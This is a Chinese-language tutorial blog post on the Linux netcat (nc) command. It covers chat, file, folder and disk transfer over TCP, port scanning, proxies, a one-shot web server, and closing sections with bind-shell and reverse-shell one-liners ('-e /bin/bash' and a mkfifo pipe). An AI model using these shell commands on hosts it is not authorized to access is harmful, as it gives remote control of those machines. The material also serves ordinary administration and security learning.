Linux命令——nc
文章目錄
- Linux命令——nc
- 例子
- 客戶端/服務端模型
- 數據傳輸
- 與服務端交互
- 端口掃描
- 使用代理
- 發送文件
- 聊天工具
- 一次性 Web Server
- 文件夾傳輸
- 遠程克隆磁盤
- shell
- 反向 shell
- 參考
netcat,簡寫為 nc,是 unix 系統下一個強大的命令行網絡通信工具,用于在兩臺主機之間建立 TCP 或者 UDP 連接,并提供豐富的命令進行數據通信。nc 在網絡參考模型屬于應用層。使用 nc 可以做很多事情:建立連接,發送數據包,監聽端口,掃描端口,處理 ip4 和 ip6,和 telnet 不同,nc 會區分錯誤輸出和標準輸出,telnet 則都是標準輸出。
nc 強大之處在于輸出是標準輸出(stdout), 輸入來自標準輸入(stdin), 以至于可以很容易通過管道和重定向直接使用或被其他程序和腳本調用。正因為它的這種特性, 以至于你能發揮你的想象力用它做很多事情:
- 端口掃描: 通過與目的 IP 建立連接, 從而掃描目的IP 的端口是否開放
- 聊天工具: 一邊使用 nc 監聽一個端口, 另一邊使用 nc 成功連接這個端口即可互相通信
- 發送文件: 與目的 IP 建立連接, 配合重定向, 源地址讀取文件, 目的地址接收文件
- 目錄傳輸: tar 命令和管道的結合
- 遠程克隆磁盤: dd 命令和管道的結合
- 配合 ssh config 的 ProxyCommand 命令進行跳板登錄
- …
例子
客戶端/服務端模型
使用 nc 可以非常簡單的構建一個基本的客戶端/服務端模型。
首先在一個終端窗口,開啟一個本地端口的監聽。
nc -l 1234
現在 nc 就在監聽 1234 端口,等待一個連接。再另開一個控制臺(或另一臺主機),使用 nc 連接該主機和端口。
nc 127.0.0.1 1234
這樣,連接就已經建立起來了,默認是 TCP 連接,現在在任意一個控制臺輸入內容,另一個控制臺都會收到,此時,nc 已不關心誰是客戶端,誰是服務端了。
數據傳輸
上面的例子,再擴展一下,就可以構建一個數據傳輸模型。
nc 在開啟了端口監聽后,將收到的內容輸出到指定文件
nc -l 1234 > out.txt
在第二個機器(或控制臺)上,連接該主機和端口,并向該主機傳輸文件
nc 127.0.0.1 1234 < in.txt
與服務端交互
與 www.baidu.com 的 80 端口建立一個 TCP 連接
nc www.baidu.com 80
此時,僅僅是建立了一個 TCP 連接,本地的端口號是隨機的。
也可以指定端口,使用 nc -p 1234 www.baidu.com 80
,即采用本地 1234 端口與百度 80 端口建立連接。
還可以設定連接時間,nc -w 5 www.baidu.com 80
,即連接 5s 后自動斷開。
此外,-v
選項可以讓 nc 輸出詳細的日志;-u
可以建立一個 UDP 連接。
現在使用 HTTP 協議,模擬瀏覽器訪問百度。
echo -n "GET / HTTP/1.0\r\n\r\n" | nc -p 1234 www.baidu.com 80
上面用法也可以這樣寫:
nc -p 1234 www.baidu.com 80
GET / HTTP/1.0
(回車)
(回車)
注意空格和回車。
端口掃描
端口掃描經常被系統管理員和黑客用來發現在一些機器上開放的端口,幫助他們識別系統中的漏洞。
檢查本機 8088 - 8090 端口是否開啟
nc 127.0.0.1 -z 8088-8090
使用代理
有些網絡不能直接訪問, 只能通過代理服務才能訪問
通過代理連接 host.example.com 的 42 端口,下面是一些例子,未實際驗證。
# 使用 HTTP 代理 http://10.2.3.4:8080 與 host.example.com 的 42 端口連接
$ nc -x10.2.3.4:8080 -Xconnect host.example.com 42# 使用 socks4 代理 socks4://10.2.3.4:8080 連接 host.example.com 的 42 端口
$ nc -x10.2.3.4:8080 -X4 host.example.com 42# 使用 socks5 代理 socks5://10.2.3.4:8080 連接 host.example.com 的 42 端口
$ nc -x10.2.3.4:8080 -X5 host.example.com 42
發送文件
把 192.168.0.2 上的文件 demo.tar.bz2 發送到 192.168.0.3, 并保存為 demo.tar.bz2:
在 192.168.0.3 上: nc -l 1234 > demo.tar.bz2
在 192.168.0.2 上: nc 192.168.0.3 1234 < demo.tar.bz2
聊天工具
通過在 192.168.0.2 與 192.168.0.3 上建立 TCP 連接來實現聊天:
在 192.168.0.3 上: nc -l 1234
在 192.168.0.2 上: nc 192.168.0.3 1234
這樣, 雙方就可以相互交流了, 使用 Ctrl+C 退出
一次性 Web Server
監聽 8080 端口, 如果通過 http 訪問, 則返回文件 file 的內容, 然后斷開:
{ printf 'HTTP/1.0 200 OK\r\nContent-Length: %d\r\n\r\n' "$(wc -c < file)"; cat file; } | nc -l 8080">)"}
文件夾傳輸
配合 tar 命令和管道, 在兩臺主機之間傳輸文件夾內容
把 192.168.0.2 的文件夾 dir 發往 192.168.0.3
在 192.168.0.2 上: tar -cvf - dir | nc -l 1234
在 192.168.0.3 上: nc 192.168.0.2 1234 | tar xvf -
使用 tar 的 -j 選項(bzip2) 或 z 選項(gzip) 進行數據壓縮傳輸
遠程克隆磁盤
配合 dd 命令和管道, 進行遠程磁盤讀寫
把 192.168.0.2 上的 /dev/sda 克隆到 192.168.0.3 上的 /dev/sdb:
在 192.168.0.2 上: dd if=/dev/sda | nc -l 1234
在 192.168.0.3 上: nc 192.168.0.2 1234 | dd of=/dev/sdb
shell
可以打開一個遠程主機的 bash, 對遠程主機進行操作
從本地遠程打開 192.168.0.3 的 shell:
在 192.168.0.3 上: nc -l 1234 -e /bin/bash
在本地: nc 192.168.0.3 1234
如果不支持 -e 或 -c 選項, 可以這樣做:
- 在 192.168.0.3 上:
$ mkfifo /tmp/tmp_fifo$ cat /tmp/tmp_fifo | /bin/sh 2>&1 | nc -l 1234 > /tmp/tmp_fifo
- 在本地:
nc 192.168.0.3 1234
反向 shell
在服務端訪問客戶端的 shell
服務器 192.168.0.2 訪問本地 shell:
在服務器上: nc -l 1234
在本機: nc 192.168.0.2 1234 -e /bin/bash
參考
使用 nc 讀寫 TCP/UDP 連接